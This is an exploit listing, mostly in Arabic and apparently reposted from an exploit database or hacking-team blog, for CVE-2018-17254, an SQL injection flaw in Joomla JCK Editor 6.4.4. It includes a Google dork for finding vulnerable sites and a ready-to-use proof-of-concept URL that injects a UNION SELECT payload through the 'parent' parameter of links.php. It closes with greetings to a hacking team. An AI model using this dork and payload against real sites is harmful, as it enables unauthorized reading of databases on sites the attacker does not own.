
Joomla JCK Editor 6.4.4 - 'parent' حقن SQL
# عنوان الاستغلال: Joomla JCK Editor 6.4.4 - حقن SQL عبر 'parent' # دليل جوجل: inurl:/plugins/editors/jckeditor/plugins/jtreelink/ # صفحة البائع: http://docs.arkextensions.com/downloads/jck-editor # الإصدار: 6.4.4 # تم الاختبار على: Debian 10 Ubuntu Windows 11/10 # CVE : CVE-2018-17254 # إصدار PHP (الاستغلال): 7.3.27 # إثبات المفهوم: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa مرجع : https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-17254
تحيات LXPLOIT - CUKIMAY CYBER TEAM أصدقائي : Noniod7 - Ardzz أعيدت برمجته من : Hamza Megahed https://www.bloglumajangteamsec.my.id/2023/01/cve-2018-17254-eksploitasi.html